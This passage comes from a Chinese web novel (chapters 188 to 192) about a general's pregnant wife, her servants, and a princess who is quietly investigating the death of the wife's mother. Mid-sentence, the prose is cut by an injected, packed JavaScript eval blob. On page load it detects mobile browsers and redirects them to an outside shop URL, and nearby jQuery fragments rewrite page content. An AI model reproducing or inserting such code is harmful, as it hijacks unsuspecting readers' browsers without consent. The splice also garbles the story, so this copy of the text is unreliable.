“奴婢就不明白了,读书人虽好,也要是大户人家的闺女去配才好;不是奴婢说话灭自己威风,而事实如此,又何必争辩?我们都是府里的奴婢,与人家怎么配得上?况且,那人家里早已娶妻。” 金猫儿越说越气闷,隐隐有些恨铁不成钢的愤愤。 虞声笙听得来了兴致:“那太太不生气?” “如何不生气呢,夫人您想想咱们太太那脾气,珍珠又是太太身边的人,她自甘堕落要去给人家做妾,太太会不生气?” 金猫儿一面熨烫着衣裳,一面越说越气,“前些时候珍珠来送东西的时候与我说了一会子话,我还当她说笑来着,没想到今儿五儿过来传话与我说了一嘴,这竟还是真的了!” “那人也是做官出身,许是风光呢。”今瑶猜测。 “做官不假,娶妻也不假,人家媳妇带着几个孩子在老家,身边还有公婆在,想也知道是人家媳妇孝敬在旁,她这样冒冒失失地撞上去,我怕她日后有的苦吃。” 金猫儿一口气说完,便不吭声了。 瞧她小脸紧绷,虞声笙心里哪有不明白的。 其实金猫儿的意思很明显。 无非是心疼珍珠日后的处境。 这样上赶着送上门的妾,总归不让人待见。 别看男人现在趁着新鲜,又是上峰所赠的妾,哪有拒绝的道理,必然会欢欢喜喜地收下。 人家正房身边有儿有女,又有公婆撑腰,珍珠如何能跟人家比? 就怕她迷了双眼,又赔上了一颗心,最后落了个伤心的结局。 今瑶后知后觉,没太明白金猫儿意思。 虞声笙垂眸:“我与珍珠也算相识一场,从前在太太房中也得她不少照拂,若这事真能成,你与我说一声,我好给她备一份礼,也算全了过往数年的情分。” 金猫儿应了一声。 纳妾比不得娶妻。 尤其行走在官场上的男人,同僚之间赠妾也是稀松平常之事。 金猫儿这话才跟虞声笙说了几日,便有了确凿的说法——虞正德让张氏问过珍珠的意思,确定她愿意,就做主将她送给了那位下属为妾。 她是张氏身边的丫鬟,言行见识也颇有深度。 那人见了再无不爱的,忙欢欢喜喜地按照纳妾的流程将人接回府区。 得到消息的虞声笙送了十两银子,以及一根金钗,一对镯子。 负责送礼过去的金猫儿足足待了半日才回来,一回来就躲在房中不出来,直到晚饭时分,今瑶去叫她,她才红着眼睛过来正房里伺候着。 虞声笙见她情绪不高,也没戳破。 刚巧今晚饭桌上有一道鸽子汤,炖得甚是浓郁鲜香。 虞声笙便让房里的丫鬟婆子们都分了一碗。 今瑶她们伺候完毕,各自退下。 “金猫儿姐姐,今儿多亏了你,咱们才有这口福。”金瓜捧着汤笑道。 “是啊,谁不知金猫儿姐姐最喜欢鸽子肉了,难为夫人记着。” 金猫儿红着鼻尖,面上阴云渐渐散去:“有好的吃还堵不上你们这几个小蹄子的嘴。” 丫鬟们嘻嘻哈哈,又是一番说笑。 正吃着,角门外两个探头探脑的身影被守门的婆子拦住了。 “郑妈妈,邱妈妈。”婆子客气招呼道,“你们是得了夫人的吩咐才过来的么?” 郑妈妈讪讪道:“烦请这位姐姐通传一声,我想见一见夫人。” “没有夫人的吩咐,我可没这个脸面去里头回话,你还是别折煞我了。”那婆子道。 第188章异常 郑妈妈还想给那婆子手里塞些铜板,以做贿赂。 谁知那婆子连忙推开她的手,就像甩掉什么烫手山芋似的,唯恐避之不及。 “你可不要害我,二位都是夫人从前身边伺候的人,我这样的粗使婆子又如何能比得上?这些个你还是拿回去,我可受不起。” 那婆子拒绝的模样让郑妈妈脸上很是挂不住。 她还是头一次给人家塞钱,被人家拒绝的。 强忍住内心不快,她只好领着邱妈妈讪讪离去。 她没察觉,就在她转身的一瞬间,那婆子脸上的厌恶嫌弃几乎藏不住,上上下下打量一番,又翻了个白眼。 二人回到房中,邱妈妈惴惴不安:“你说虞四姑娘这是何意,让我们入了府,又不给咱们俩差事,长此以往不是个事啊……” “我算是看出来了,她就是不想咱们去她身边伺候着。” 郑妈妈愤愤不平。 在府里多日,她多少摸出了安园内的条件。 那吃穿用度样样都挑精细的来。 旁的不说,就说跟在虞声笙身边的几个大丫鬟,那用的胭脂水粉、穿的布料衣衫,怕是外头寻常人家的姑娘都比不上。 这般风光,叫人瞧了如何不眼热? 郑妈妈还想着,凭她们的身份,怎么着也能混个内宅管事当当。 没想到沦落到最后,免了绣纺阁的差事,她们俩就成了府里的闲人,处处多余,处处无用。 就连蠢笨迟钝的邱妈妈都察觉到这样下去,非长久之计。 连番受阻,连银子都送不出去。 偌大的内宅如铁桶一般,滴水不漏。 郑妈妈这会子算明白了——昔日软弱好欺的虞四姑娘已然长大成人,羽翼渐丰。 正惶惶不安中寻个出路时,清算那一日很快就来了。 事情要从威武将军府修缮水池假山开始说起。 虞声笙怀着身孕,闻昊渊不愿她太劳累,便将这事主动揽了过去。 将军大人办事没有女主人那么细致,大开大合,只管有效就成。 见府里拿不出靠谱的人手,他干脆让管事理了一份人员名单出来,有身契有本事的先顶上去,后又人手不足的,一来寻牙行采买新一波奴仆入府,二来再去外头寻了雇人的班子,这么一来人就够用了。 跟在闻昊渊身边办事的人,自是可靠。 发现身契与府里人口数量对不上时,便去请示了闻昊渊的意思。 闻昊渊也没多想,直截了当道:“有身契,无论活契、死契,都是将军府的人;若无身契,你们核准了身份,有不妥的,直接撵出去了事。” 虽说将军府养几个闲人根本不在话下,但闻昊渊可不许府里有不相干的人待着,免得将府里的私事传出去。 有了男主人的首肯示下,管事立马开始了行动。 当查到郑邱二人时,她们只说是夫人身边的婆子。 可她们又无法进入安园。 更无差事在身。 这就说不清了。 管事要去安园问一问夫人的意思,可不巧的是,虞声笙那两日突然害喜严重,连庶务都料理不了,整日躺在榻上。 闻昊渊见妻子不舒服,也不准外人为了小事来打扰。 管事没法子,只能遵循将军一开始的吩咐,动手将这二人撵出府区。 当几个小厮进了院门,要她们即刻收拾东西走人时,郑妈妈直接愣在了当场:“你、你们疯了不成?我可是照顾夫人长大的婆子,比起那内宅管事妇人还要尊贵几分,你们敢这样待我?” 小厮奉命前来,也不愿得罪人。 笑脸相迎,说话却越发坚定冷酷。 “这位妈妈有所不知,我们也只是听从主人家的吩咐,有什么火气您别冲着咱们发,若真如妈妈所言,您与夫人是这样的关系,不如去内宅通传一声,让夫人开口免了这一遭,也显得妈妈尊贵不是。” 小厮的话成功把郑妈妈噎得不轻。 她要是能见到虞声笙,也不会被困至今了。 她满面阴沉,嚷嚷着要去见虞声笙。 一路闹腾,出了院门,刚到二角门处就被萱妈妈拦了下来。 萱妈妈冷着脸,蹙眉呵斥:“你们是怎么当差的?如今夫人正害喜难受,还能让这些个不相干的人扰了夫人?要是惊了夫人的胎,别怪将军下手狠,叫你们一个个的挨了罚就痛快了!” 闻言,这种人哪敢不拦着。 郑妈妈瞧着对方威风凛凛的模样,又是艳羡又是嫉妒。 刚要扬声大喊,却被萱妈妈身边的一伶俐丫鬟用一团帕子死死塞住了嘴,这下什么声音都发不出来了。 萱妈妈雷厉风行,立马让管事的将这人撵出府去。 管事的又问:“还有一个姓邱的妈妈呢?如何处置比较妥当?” 萱妈妈沉思片刻:“外院还有一处竹林缺人手打点,就让她过去吧,问问她可否愿意签了身契,若不愿,那也一道撵出去。” 得了安排的管事忙不迭地去办。 邱妈妈听说郑妈妈已经被撵出府,越发吓得后怕。 她太清楚自己几斤几两了。 过往几年之所以吃穿不愁,是因为还有张氏给的银两花销。 这几年下来,银钱几乎花得所剩无几。 她又这把年岁了,去外头做工都没人要的。 且又好吃懒做,手上没多少真本事。 真要失了威武将军府这庇护之所,她怕是会流落街头。 邱妈妈没有多犹豫,立马答应签了身契。 依着府里的规矩,收了邱妈妈的身契后,萱妈妈又让丫鬟给她送了二十两银子过来。 捧着那二十两的碎银子,邱妈妈一阵庆幸。 还好没有与郑妈妈一道昏了头。 办完了这些事,萱妈妈回安园回话。 听完后,虞声笙感慨:“到底还是妈妈慧眼如炬,这事儿办得果真巧妙。” “若不将二人分开,等来日有什么不对的,咱们就有些被动了;虽说如今以夫人的身份,再无需忌惮她们,可小人难缠,也不得不防着。”萱妈妈道。 “是了,将这二人的境遇来个天差地别,她们也顾不上使坏。” 虞声笙起身,用了一盏酸梅汤,只觉得胸口畅快许多,越发笑得开心,“让那邱妈妈去打点竹林也极好,让人盯着点,只管叫她做些个死板的事儿就成。” “夫人安心,老奴知晓分寸。” 外头今巧一打帘子进来,步伐匆匆,语气轻快:“夫人,小厨房新得了芙蓉酥,正是夫人昨个儿说想吃的口味。” “快,趁热拿来,我吃几块解解馋。”虞声笙忙道。 见她有了胃口,一屋子丫鬟婆子都松了口气。 夫人怀着身孕辛苦,能有胃口吃便是最好了。 负责小厨房的丫鬟婆子倒也尽心尽力,日日都琢磨着新鲜吃食,好哄着虞声笙能多用些个。 此时, 府里另一边。 今瑶与金猫儿正在核对各府送来的礼单。 一一入库时,今瑶发现一样怪事,忍不住咦了一声。 金猫儿探头过去:“怎么了?” “姐姐你瞧瞧,这一样送子观音佛像本不在礼单上,可你瞧着像不像咱们府里原先送去镇国将军府的礼?” 金猫儿打开匣子,对着日头细细比对,越看脸色越沉。 第189章贺氏 今瑶也不催促,静静等着。 半晌,金猫儿道:“回头等屋子里都空了,咱们悄悄拿给夫人瞧一眼。” 得了这话,今瑶哪里还有不明白的,忙满脸郑重地点点头。 一番打点到了晚间,等屋子里一应茶水热炉都供好了,丫鬟婆子们退下,虞声笙也从净房出来,一旁的今巧正用细软的白棉布替她仔细擦干头发。 近日诸事繁忙,闻昊渊还在外书房料理公务。 金猫儿匆匆过来,将夹在腋下的一只匣子送到她跟前。 “这是什么?”虞声笙纳闷。 “夫人打开瞧瞧。” 打开看了一眼,她意外:“这不是上回我送给镇国将军府的贺礼么?不对,是一模一样的礼?这东西打哪儿来的?” “今儿收礼入库,这便是夹在那一众匣子里头的;也怪接手的小厮没有盘点清楚,这还多了一件出来都不知晓,如今也分不清到底是哪个府上送来的。” “礼单上没有?” “没有。”金猫儿摇摇头。 她咬着下唇沉思片刻,决定还是实话实说,“夫人,奴婢眼拙,但当初送的那份礼是奴婢与今瑶一道去库房打点出来的,断不会看错,这十有**就是咱们府里出去的东西。” 一旁已经收拾好床褥的今瑶过来插了一句:“没错,我瞧着也像,天底下有这样巧合的事情么?两尊一模一样的送子观音像还一前一后都到咱们府里了?” 说着,小丫鬟眼睛一亮,“这该不会是什么天赐的福报,是好兆头来着吧。” 虞声笙哭笑不得。 也就今瑶心思单纯,竟还能想出这样的理由。 不过这话却狠狠取悦了虞声笙。 她细细摸了摸那尊观音像:“确实是咱们府里送出去的,既然人家将军府看不上,那咱们就收着自己用,回头在花厅里设一个香案供起来,如今我也是个有了身孕的人了,就像今瑶说的那样,说不准是个好兆头呢,失而复得,我又不亏。” 见虞声笙没有生气,金猫儿松了口气:“真不想收咱们的礼,又何必这般折腾?自己府里或是砸了卖了的都行,这样送回来岂不是打咱们的脸?” “谁知道呢。”虞声笙懒洋洋地歪在榻上,“或许就是他们府上觉着不吉利吧,谁让他们府里刚刚没了个怀孕的姨娘。” 金猫儿小脸煞白:“夫人可不许胡说,呸呸呸,这样晦气的话可不能挂在嘴上。” “好好好,我不说。”虞声笙笑了。 大约是想整一个否极泰来的好预兆,金猫儿在花厅设的香案格外细致隆重,一应祭奠叩拜的物件齐整。 甚至还弄了个黄花梨红漆雕木的香龛装着。 虞声笙去瞧了一眼,啧啧感叹:“这好东西是从哪里收拾出来的?摆在这里气派漂亮,才不辱没我将军府嘛。” 金猫儿闻言来了兴致:“夫人您瞧,奴婢将府里那些个空置的好东西都理了个单子出来,您闲暇时多看看,自然心里有数。” 单子上不但写明了这些好东西的来历出处,写了放在哪个库房,由何人看管,写得极为详细。 虞声笙不由得感叹,转头就对今瑶语重心长:“你也跟金猫儿多学学,你看看人家这一手字写得端正干净,大约都是这样练出来的,原先我学写字时还不如你,如今却比你长进多了,你怎么也不能输给自己的小姊妹吧?” 谁知今瑶浑然不觉得有什么可上进的。 小丫鬟憨憨一笑:“金猫儿姐姐能干,自有她的好处,奴婢略识得几个字就成了,太过能干了,岂不是遭人惦记?” 虞声笙:…… 她还挺有理的。 这话惹得金猫儿瞪过去好几眼,脸都红了。 也不知是替今瑶红的,还是觉着这话本身就羞得很。 闻昊渊后来在花厅里待客。 对方见着这一尊送子观音像,还觉得布置得不错。 又听闻府上夫人已经怀孕,一个个说的吉利话都快堆满了房梁。 好话谁不爱听呢。 虞声笙也爱,反而觉着对方将这观音像送回,未必不是件好事。 六月十七,瑞王府与荣昌侯府大婚。 那一日十里红妆,灯染满街,沿边的百姓都跟着捡了一衣兜的铜钱花生,好不快活。 虞声笙本来也想去凑热闹。 可无奈肚子大了。 闻昊渊说什么都不让她去人群里挤。 “胡闹。”男人板着脸,动作却格外温柔,轻轻替她揉着后背,“你如今都是双身子的人了,还不多注意点,这样的热闹以后还有的看,京里旁的缺,唯独不缺达官贵人办婚事。” “我只是好奇,这江姨娘竟然就认了?”她眼睛亮晶晶的。 “这是陛下赐婚,她有几个脑袋敢去抗旨。” “也是。” 她瘪瘪嘴角,“只盼着这位瑞王妃是个温厚的人,我猜着差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618914|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多昀哥儿也该认祖归宗了。” 瑞王一定是看这个儿子勤奋刻苦,又颇有天资。 不愿将他记在姨娘名下。 怎么着也该混个嫡出的身份,哪怕日后袭爵或是别的荫封,都有说法。 “我看难。”闻昊渊笑道,“瑞王妃也是女人,不嫁人就算了,真要嫁了人难道不想有自己的亲生孩子么?一样都是嫡出,她自己生的可要比昀哥儿名正言顺多了。” “真没想到你还懂这道理。”她惊讶。 他瞪了一眼:“这有什么不好懂的。” 果然,不是男人不了解内宅,不过是有些男人不愿去了解。 能做个装聋作哑的既得利益者,又何必掺和进去,闹得自己不痛快。 瑞王完婚,娶妻贺氏。 贺氏为郑王妃。 这算是入了玉牒的正妻了,且王妃之尊自带诰命。 贺氏一入门就身价百倍。 贺氏比瑞王小了好些,虽不比二八年华的少女,但依旧温婉年轻,自有一番软言细语的和煦,好像一朵解语花,在不经意间开到了瑞王的身边。 原本从前的江姨娘也是这样。 可后来挟恩回府后,人就变了。 说实在的,瑞王还是很怀念从前的江姨娘的。 新婚之夜,如老房子着火,一发不可收拾。 翌日晨起,瑞王神采奕奕,待新婚妻子也格外体贴照拂。 贺氏冲他温温一笑,如同给他干涸的心灵浇灌了一汪清泉,叫他忍不住与她说话都比平日里温柔三分。 嫁过来之前,贺氏就知晓了瑞王府里的情形。 昀哥儿的身世瞒得紧,但也并非不透风。 贺氏背后是荣昌侯府,想要查到蛛丝马迹还是很容易的。 是以,新婚之夜时,贺氏就主动与瑞王提及,她说:“此事宜早不宜晚,都是咱们府里自己的骨肉,怎能总是托付给别人家?纵然将军夫妇都是人品靠得住的,但归根结底是咱们自己的孩子。” 这话说得老王爷感动不已,几乎要哭了。 对贺氏越发满意。 等三朝回门后,贺氏便给威武将军府下了拜帖。 虞声笙惊叹:“来得好快。” 拜访这一日,贺氏先被领去了花厅小坐。 待虞声笙过来时,第一眼瞧见了她正对着那观音像双手合十,恭敬祭拜。 “叫王妃久候了。”虞声笙上前道。 第190章大度主母与腹黑小妾 “贵府的花厅布置都与别处的不一样,我瞧着很是喜欢,尤其这尊观音像,我见之心生温润,便觉着与夫人是有缘之人。” 贺氏温柔如水,一张口便在不着痕迹间夸了虞声笙好些。 直夸得虞声笙心头快活,笑容也忍不住更灿烂。 “王妃请坐,请用茶。” “好说,夫人客气。” 二人相对而坐,贺氏品了两口茶,与她又说了会子话,双方对彼此有了个初步的了解后,贺氏便开门见山。 “今日到访,是为了昀哥儿一事。”贺氏笑道,“我家王爷已经与我说过了,这到底是我们王爷的孩子,那与我自己亲生的就没什么两样,既如此就更该早日接回府中,记在我名下,往后就是府里正经的公子了。” 虞声笙故意问:“为何不记在江姨娘名下?我听闻……这孩子或许是……” 贺氏笑得神秘:“这是我家王爷的意思,我也不知晓太多,女人嘛,出嫁从夫,尤其这种事哪里轮得到我置喙多少?” 见从她这儿撬不出更多话,虞声笙便放弃了。 与贺氏三言两语的聊着,说的多是昀哥儿种种。 这会子昀哥儿正在书院用功上进。 虞声笙便提出领着贺氏去瞧一瞧昀哥儿的卧房。 贺氏忙不迭地应了。 她是嫡母。 想要将昀哥儿这孩子顺顺利利接回府中,还想与这孩子打好关系,那就得从细处入手。 昀哥儿的卧房很是敞亮。 迎面一间正堂,香案横在当中,上头摆着各种茶炉器皿,清一色淡淡的天青碧,显得格外书卷气。 左侧是卧房,右侧是书案。 卧房的这一侧还有槅扇隔开,里头更有一架花鸟鱼虫的屏风挡着,清静幽闭,不被人打扰;另一侧的书案处,则是雕花的拱门,用杏色的帘子微微遮挡。 贺氏细细瞧了,帘子上还有刺绣的竹叶,端的清新雅致。 这间少爷读书休息的屋子布置得极好。 便是贺氏自己安排人来弄,怕也没有比这更好的了。 她本就是明快之人,说话温吞,却坦荡大方,对着虞声笙夸了又夸,虞声笙笑道:“王妃快别说了,我不过是照葫芦画瓢,我瞧我娘家兄长的屋子就是这样布置的,偷了个师罢了,哪有多用心呢。” 贺氏嫣然一笑,与虞声笙谈笑越发畅快。 又坐了坐,直到昀哥儿辉哥儿下学归来。 虞声笙忙让人去把昀哥儿带来。 昀哥儿还以为出了什么事,来不及更衣净手就直奔花厅。 迎面见着一位温婉的夫人坐在那儿,他心头咯噔一下,明白了几分。 “快来见一见,这位是瑞王妃。” “见过王妃,给王妃请安。” “好孩子。”贺氏忙把他搀起来,身边的侍女上前捧了一匣子礼物送到昀哥儿跟前,“初来乍到的,我也不知晓你平日爱些什么,但我知晓你读书上进,定然离不了这些文房四宝;你且拿去用着,若有不好的,你尽管与我说,咱们再让底下的人备些更好的来。” 那匣子里放着的,便是笔墨纸砚四样。 虞声笙没看出其他的,但那青玉笔杆的狼毫与质地坚实细腻的端砚她却一眼认了出来。 果真是好东西! 昀哥儿也是眼前一亮,对着贺氏又拜谢。 贺氏心中欢喜:“你父亲很挂念你,只是平日里事务繁忙,也不好日日过来打扰;今日我借着拜访为由,特来见见你。” 她顿了顿,拉着昀哥儿的手,越发慈爱温柔,“到时候时机成熟了,你可愿随我回府?” “随你回府?”昀哥儿下意识看了一眼虞声笙。 “对,随我回府,你便是记在我名下的孩子,要管我喊一声母亲。”贺氏笑道,“你是咱们府里第一上进用功的能干孩子,我与你父亲对你很是期许。” 虞声笙微微点了点头。 昀哥儿明白了:“那……我还想过来请教蔡先生。” “不妨事,咱们府上可以提前备马车,让你日日过来顺道与辉哥儿一起进学,再一块下学。” 虞声笙接上:“在我府里用一顿晚饭,刚好可以请教先生学问,等用罢了饭,你再回府,一样便宜。” “那就多谢夫人了。”贺氏感激地看向她。 虞声笙微笑回应:“客气什么,有了昀哥儿这桩缘分,真是前世修来的交情。” 今日贺氏并不急着接走昀哥儿。 又说了一番话,她才告辞离去。 送走了贺氏,昀哥儿凑到虞声笙身边:“我真的要跟她回府么?” “你是瑞王的儿子,怎能一直赖在我这儿?你这嫡母瞧着和气,应当人品不差。” 谁知,宽慰的话才说了一半,昀哥儿满面严肃:“知人知面不知心,谁知道是不是好人呢。” 虞声笙:…… 倒也让人无法反驳就是了。 却说贺氏回了王府。 在外奔波劳累了一日了,进屋便有丫鬟送来了热水热巾子,更衣过后,便净手洗脸,又重新施了粉黛。 瑞王迫不及待追问今日的情形。 贺氏便一五一十答了。 “那将军夫人瞧着年轻,办事却很稳妥,昀哥儿那屋子布置得颇有章法,她还与我说了昀哥儿的喜好,这一趟真没白去。” 贺氏喜笑颜开,“对了,我已经记下了昀哥儿屋子的布置,回头咱们空出一个院子来,也按照将军府的屋子来,这样也能让昀哥儿尽快适应王府里的生活,更能与咱们亲近些。” 瑞王听得十分感动:“多亏了有你,竟能想得这般周到。” “不过用心二字罢了。”贺氏道,“我既嫁你为妇,夫君的事情就是我的事情。” 夫妇二人相视一笑。 瑞王情不自禁去搂着妻子的后腰,打算好好奖励并温存一番。 话还没开口,外头婆子传话:“启禀王爷,江姨娘来了。” “她来做什么?”瑞王满脸的柔情蜜意瞬间荡然无存。 贺氏忙打圆场:“欸,江姨娘是来给我这个主母请安的,这会子都傍晚了,人家来才是合乎礼数的,你这样别吓坏了江姨娘。” 想到这儿,瑞王脸色才算好看些。 他不太想见昔日的爱人,直接躲进卧房深处不出来。 待丫鬟领着江姨娘进来时,屋子里半点男人的踪迹都看不到了。 江姨娘四下观察了一番,没能瞧见那个熟悉的身影,不免有些失落。 她对着贺氏盈盈拜倒。 贺氏也不刁难,直接让身边的丫鬟将她扶起来,又上了茶点招待,一番嘘寒问暖。 江姨娘有些受不住这样的关怀,面色僵硬。 她倒是宁愿贺氏一上来就将自己视为眼中钉才好。 这样她反而有法子应对。 偏偏贺氏大度——至少人家明面上很大度,挑不出错来。 一个大度贤惠又从容不迫的王妃,是完全能把她一个先入为主的姨娘给逼疯的。 别的不说,就说每日给主母晨昏定省。 王府内宅没有女主人时,江姨娘就是一家独大。 她给谁早晚请过安? 与贺氏干巴巴地回应了两句,江姨娘便说了今日自己的来意:“还请王妃替妾身在王爷跟前求求情,实在是……昀哥儿那孩子,是我身上掉下来的肉。” 说着,她便开始抹泪了。 第191章安筠,贺氏,昔日姐妹情 江姨娘本就生得美,虽年岁已长,大不如韶华之龄,但这般风姿动人还是很能打动人心的。 只可惜,她面对的不是瑞王,而是贺氏。 贺氏心头划过一阵冷笑。 “姨娘何必这么多礼?快些起来,坐吧。” 她身边的丫鬟上前扶着江姨娘坐在了贺氏对面。 贺氏又笑道:“如今咱们府里这样好的日子,怎么姨娘还哭哭啼啼抹起泪来了?若是叫外头人瞧见了,还道是咱们王爷欺负了你。” 江姨娘轻轻一窒,忙道:“姐姐说笑了。” “我知晓你想问昀哥儿那孩子的事情,这事儿我与王爷细细商议过,也曾想过让他回府后按部就班……可,你也晓得的,昀哥儿这孩子有才华,小小年纪已经考取了童生,他又勤勉聪慧,日日苦读,我与王爷实在是不忍瞧他明珠暗投;不如直接记在我名下,让他做个嫡出长子,你觉得不好么?” 贺氏的话彻底将江姨娘接下来要说的彻底堵死。 什么母子情深,什么当年的不容易,又是什么苦难恩情的,统统卡在喉咙眼,不上不下,憋得她面色发青。 “你我同为王府女眷,自然是一家人,既是一家人,更该心往一处想,劲儿往一处使,你说是不是这个理?” “若昀哥儿日后有大造化,你忍心叫他在出身上矮人家一头么?” “我晓得如今京中没那么看重嫡庶了,一样都是手足骨肉,何必分个厚此薄彼?若咱们是一般官宦人家,我绝不插这个手,只是……咱们府上是王府,来日昀哥儿袭爵或是晋封,你猜陛下会不会考量嫡出这一项?” 贺氏到底出身名门。 眼界阅历远超这个版本的江姨娘。 一番话说得对方哑口无言。 贺氏处处都为了瑞王府的未来着想,甚至不惜牺牲自己未来子女的利益,也要将昀哥儿维护到底。 光是这份向着夫家的心,就足以让瑞王感动涕零,一阵感慨万千。 江姨娘怯怯地动了动嘴唇:“这么说来,还是、还是让昀哥儿记在王妃名下的好。” “你能想明白就是最好,待昀哥儿回来,都在一个府里,你想什么时候见都成呀;到时候他是我的嫡子,我一样也会待他视如己出,你就放心吧。” 贺氏的声音温柔至极,带着一股别样的力量,足以安抚人心。 最后江姨娘木着一张脸告辞。 贺氏又去劝瑞王今晚去江姨娘处安置。 瑞王皱眉:“原先她那样爽利的一个人,说话做事风风火火,不知怎么的近年来总是在这些细微末节的小事上计较,我不愿瞧见她那副小家子气的模样。” “王爷就听我一句劝,别的不看,也要看看江姨娘待王爷你的一片真心;有道是家和万事兴,王爷能多陪陪她,让她心情好,我觉着昀哥儿回府一事也能顺顺利利的。” 听了贺氏的话,瑞王总算答应了。 略收拾了一番,他便去了江姨娘的屋子。 他刚走,贺氏脸上的笑容渐渐褪去,变成了与平常判若两人的模样,那眉眼冰冷,嘴角微沉,似乎世间的一切都不被她放在眼里。 “晚夏,过来服侍我卸了吧。” 晚夏闻言上前,熟练地替主子卸去了钗环配饰,又将发髻一一松开,青丝垂下,滑落在肩头,让此刻的贺氏看起来更像是一位避世已久、带发修行的僧尼。 待身边无人时,晚夏才道:“王妃,您干嘛要劝王爷去那屋啊,今日江姨娘明摆着没安好心的。” “若不是让父母兄嫂安心,我也不会成为这什么瑞王妃……”贺氏淡淡道,“我嫁进来也不是为了争什么男人的宠爱。” 晚夏想到了什么,放下手里的梳子:“您觉着……瑞王府里当真有从前的证据?万一什么都没查到呢?” 贺氏只是垂眸不语。 半晌后,她才淡淡道:“当年安筠姐姐死得那样不明不白,那会儿我还小,更是势单力薄,消息传到京城时,安筠姐姐早就被葬了,对外却说什么是在外任的路上染了急病暴毙,呵呵……你也知晓的,当时消息里是怎么说的?” “洪大人夫妇是、是被人乱刀砍死的,柴夫人被伤得体无完肤,连容颜都尽毁!”晚夏咬着下唇。 哪怕时隔多年,再次回忆起当年书信里的内容,晚夏都觉得触目惊心,难以相信。 “我与安筠姐姐投契,她比我大了七八岁,却是那样和气又饱读诗书;你也知晓,我年幼时起便被父母送去了故乡,他们实在是太忙了,无暇顾及我;若非如此,我也不会认识了安筠姐姐。” 贺氏边说边拿起剪刀,轻轻剪掉了烛芯,瞬间灯火更亮了。 “……既然种种线索都指向了瑞王府,我怎能不来?” 晚夏沉默了。 伺候在这位主子身边多年,她太清楚贺氏的脾性了。 看着温婉玲珑,温文尔雅,其实性子比谁都刚烈冷漠。 自幼远离京城,没有学来那一身骄矜的大小姐做派,反而骨子里藏着浓烈的直白。 “你也不必担心。”贺氏回眸笑道,“我有把握的。” “不担心。”晚夏抬眼,“能陪在姑娘身边,做什么都行。” “今日你也见着安筠姐姐的女儿了,如何?” “果真是个飒爽明快的人,说话举止,样样都与众不同,我瞧惯了那些个大家闺秀的模样,见将军夫人这般特别,倒觉得别有一番风采。” “对,我就不爱那些个扭扭捏捏的,这丫头很对我的性子,我喜欢。你瞧她说话做事,若是安筠姐姐还在,看见女儿出落成这般,定然欢喜。”贺氏边说眼底边放光,“你瞧见她那双眼睛了没有?” 晚夏很清楚自家主子要说什么,抿唇笑道:“看见了,那双眼睛像极了安筠夫人。” “他们都说女儿肖父,我却觉得将军夫人更像她的母亲。” 贺氏满面红光,“今日一见,我多年悬心的牵挂也算有了点寄托了。” “那……您打算将这些真相告诉将军夫人么?” 这话换来了良久的沉默。 直到烛花炸开,轻轻一声响,才惊动了贺氏。 她眸光隐隐:“迟早要说的,但不是现在……再等等。” 却说另一边,虞声笙从来没想过自己还能与瑞王妃的关系那般亲近。 自打贺氏来过一趟,接下来便是隔三差五地到访。 人家回回都不空手,而且提前还有拜帖。 来的时辰也是算好了的,大多在虞声笙午睡起身,半点不累的时候,这时候有个客人登门,有说有笑,还给带来了各种茶果糕饼作为礼物,极大地丰富了虞声笙的孕期生活。 怎么说,居然让她有了点期盼。 贺氏能言善道,又饱读诗书,说话并不文绉绉地带酸气,反而让虞声笙觉得刚刚好,与她越聊越投契。 这日,又送走了贺氏后,虞声笙单独歪在榻上。 她把玩着手里的红绳铜钱,眯起眼眸,似在沉思。 今瑶上前奉茶:“夫人想什么呢?一会子就要摆晚饭了,黎阳夫人说了等下就过来,夫人还不赶紧更衣么?” “我在想,她这般殷勤,是真与我投缘?” 第192章命里无时莫强求 过来收拾榻上软垫的今瑶听见了,随口答道:“自然呢,若没缘分怕是这辈子都见不到的,就像我与姑娘您呀。” 小丫头自觉这话说得好。 不但回了夫人,还顺便彰显了一番诚意真心,一箭双雕。 于是今瑶乐颠颠,走起路来都带着风。 她这话让虞声笙怔住半晌,随后自嘲地笑着摇摇头:“说得对,我怎么就……瞻前顾后起来了。” 就像当年玉浮老头说过的。 说她少年老成,有一双看透世间的眼睛。 这样并非不好,只是失了些纯真,很容易让自己累着。 就像刚刚,她又打算起卦,算一算自己与贺氏。 若不是今瑶一语惊醒梦中人,她怕是会钻进这个牛角尖里出不来。 重新将红绳系在手腕上,她心思荡开,豁然开朗。 与贺氏来往密切一段时日后,虞声笙越发觉得对方像是自己的长辈,不像是忘年交的朋友。 贺氏望向她的目光总是慈爱温润。 像是在看自己流失在外多年的女儿。 要不是虞声笙很清楚自己的身世,几乎要以为自己是荣昌侯府遗失在民间的掌上明珠了。 有一次说笑时,虞声笙提起了这事。 本以为贺氏会随口答一句,什么夫人面善,见之投缘之类的场面话,谁知贺氏的眼角微微湿润了,张了张口又闭上,将千言万语化成了一句:“多年前,我与你母亲曾有过数面之缘,如今再见故人之女,自然觉得欢喜亲近。” 虞声笙来了兴致。 “你认识我娘?” 贺氏轻轻颔首。 说起柴安筠,贺氏的话匣子一打开就收不住。 听得虞声笙两眼放光,连着追问。 这一聊就聊到了暮色四合,望着窗外沉沉的天色,她还想留贺氏一道用晚饭,最好今晚就别走了,住在将军府也成。 贺氏笑道:“今日叨扰太久了,府里还有一堆事等着我呢,若你不嫌弃,我往后经常来就是了。” “我拿王妃您当我自家长辈,您不要与我客气,常来常往才好。” 送走了贺氏,虞声笙松了口气。 “原来是我娘的故交,难怪……”她呢喃着。 看了一眼滴漏,发现都这个时辰了,闻昊渊还没回府。 一阵担忧后,她又觉着凭自家男人那样的身板和能耐,怕是也没几个人能为难他的。 约莫半个时辰后,闻昊渊姗姗归来。 男人进门就嚷嚷着口渴,灌下了两大海的茶水:“宫里出事了。” “嗯?” “叶贵妃的孩子没能保住,小产了。” “你怎么知道?”虞声笙好奇。 